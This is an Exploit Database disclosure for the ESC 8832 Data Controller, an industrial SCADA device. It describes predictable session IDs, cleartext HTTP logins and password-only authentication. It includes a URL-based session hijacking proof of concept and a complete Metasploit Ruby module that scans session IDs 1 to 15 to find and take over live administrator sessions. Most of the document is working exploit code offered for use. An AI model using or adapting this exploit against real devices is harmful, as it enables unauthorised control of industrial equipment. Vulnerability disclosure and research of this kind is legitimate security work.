ESC 8832 Data Controller – Multiple Vulnerabilities

• Exploit Database
• 40 阅读

• 作者： Balazs Makany
  日期： 2015-05-29
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/37154/

• =begin
  # Exploit Title: ESC 8832 Data Controller multiple vulnerabilities
  # Date: 2014-05-29
  # Platform: SCADA / Web Application
  # Exploit Author: Balazs Makany
  # Vendor Homepage: www.envirosys.com
  # Version: ESC 8832 Data Controller Hardware
  # Tested on: ESC 8832 Data Controller Hardware
  # CVE : N/A (Yet)
  
  POC for session hijacking: From the attacker browser (unauthenticated),
  simply enter the following URL:
  http://IP_of_the_Device/escmenu.esp?sessionid=1&menuid=6 and increment the
  sessionid parameter, starting from 1 up until it makes sense.
  
  POC (and other vulns as well) was confirmed by the vendor
  Metasploit auxiliary module available at
  https://www.th3r3g3nt.com/public_files/esc_8832_session.rb
  
  Details
  [1] Insecure user session handling (Session Hijacking)
  Summary: This vulnerability allows an attacker to hijack a valid session
  that is in progress by a legitimate user.
  Details: Due to the predictable session generation and due to the lack of
  cookie based authentication in the web interface, it was confirmed that an
  attacker from a different source IP address can issue valid requests,
  impersonating the authenticated user. The attack complexity is very low, no
  special software is required. It was noted that valid sessions do time out
  after certain period of inactivity, however hijacked sessions can
  elongating the session validity.
  Impact: The attacker can bypass intended access restrictions and
  impersonate currently active users, including administrators. Successful
  exploitation will result in complete loss of control over the device, and
  may depend on the compromised user context.
  POC: From a browser, simply enter the following URL:
  http://IP_of_the_Device/escmenu.esp?sessionid=1&menuid=6 and modify the
  sessionid parameter, starting from 1 up until it makes sense. Typically 15
  is high enough.
  
  [2] Insecure user session generation (Predictable user session generation)
  Summary: This vulnerability aids attackers to perform session hijacking
  Details: Upon successful authentication, the generated session ID are
  sequential in nature and starts at 1. For example if no user is
  authenticated, the first user who authenticates will receive the session ID
  1. The next authenticated user will receive session ID 2 and so on. There
  is also seems to be a “read-only” / unknown behavior when user ID 0 is
  supplied. Negative, invalid and other fuzzable values were not tested.
  Impact: Successful exploitation will allow remote attackers to determine
  valid sessions, leading to session hijacking and can result in complete
  loss of control over the device.
  POC: N/A, confirmed by vendor
  
  [3] Insecure user authentication method (Unencrypted protocol)
  Summary: This vulnerability allows man-in-the-middle attackers to gain
  valid cleartext credentials
  Details: The device is only capable of HTTP based authentication, which
  doesn’t seem to offer encryption such as HTTPS. Note that the native
  end-point client shipped with the device was not tested.
  Impact: Man-in-the-middle attackers are able to sniff cleartext
  authentication credentials between the user and the device. Successful
  exploitation may result in partial or complete loss of control over the
  device, depending on the compromised user context.
  POC: N/A, see web interface open ports and protocols
  
  [4] Insecure user management (Lack of user names)
  Summary: This vulnerability significantly decreases the complexity
  requirements for bruteforce attacks
  Details: The web interface does not require a username to be entered in
  conjunction with the password; only the password drives the user role.
  Impact: Attackers can have significantly higher success rate for password
  bruteforcing. Successful exploitation may result in partial or complete
  loss of control over the device, depending on the compromised user context.
  POC: N/A, confirmed by vendor, inspect login screen
  
  [5] Insecure user session token transmission (Session token in HTTP GET)
  Summary: Session tokens are transmitted via HTTP GET request in unhashed
  form
  Details: Upon successful authentication, the session ID is being sent in
  the URL GET request. (http[nolink]://
  192.168.1.1/escmenu.esp?sessionid=1&menuid=6)
  Impact: Man-in-the-middle attackers and caching devices (proxies, routers
  with spanning ports, loggers, browser history, IDS/IPS etc.) can
  effectively capture valid session IDs. The session ID transmitted in the
  GET request is vulnerable to session hijacking. Successful exploitation may
  result in partial or complete loss of control over the device, depending on
  the compromised user context.
  POC: N/A, confirmed by vendor
  =end
  
  ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Auxiliary
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  
  def initialize(info={})
  super(update_info(info,
  'Name'=> 'ESC 8832 Data Controller Session Hijack Scanner',
  'Description' => %q{ This module detects if an active session is present and hijackable on the target ESC 8832 web interface.},
  'Author'=> ['Balazs Makany'],
  'References'=>
  [
  ['URL', 'https://www.th3r3g3nt.com/?p=28'],
  ],
  'License' => MSF_LICENSE
  ))
  
  register_options([
  Opt::RPORT(80),
  OptBool.new('STOP_ON_SUCCESS', [true, "Stop when a live session was found", true]),
  ])
  deregister_options('RHOST')
  end
  
  def run_host(target_host)
  result = []
  begin
  ('1'.. '15').each do |u|
  print_status("Scanning #{target_host} - with Session ID '#{u}'")
  
  #Just to be on the safe side here.
  sleep(1)
  
  res = send_request_raw({
  'uri' => '/escmenu.esp?sessionid='+u+'&menuid=6',
  'method'=> 'GET',
  'headers' => { 'Connection' => 'Close' }
  }, 25)
  
  if (res and res.code == 200 and res.body)
  if res.body.match(/(Configuration\sMenu)/im)
  print_good("#{target_host} - Active Session found as #{u}!")
  print_good("Complete request: http://#{target_host}/escmenu.esp?sessionid=#{u}&menuid=6")
  report_vuln(
   {
  :host=> target_host,
  :port=> datastore['RPORT'],
  :name=> "ESC 8832 Web Vulnerability",
  :info=> "Module #{self.fullname} confirmed a valid session (#{u}) on the ESC 8832 Web Interface",
   }
  )
  break if datastore['STOP_ON_SUCCESS']
  end
  if res.body.match(/(Access\sDenied!)/im)
  print_status("Dead session")
  end
  end
  end
  
  rescue ::Interrupt
  raise $!
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  print_error("Timeout or no connection on #{rhost}:#{rport}")
  return
  rescue ::Exception => e
  print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}")
  return
   end
  end
  end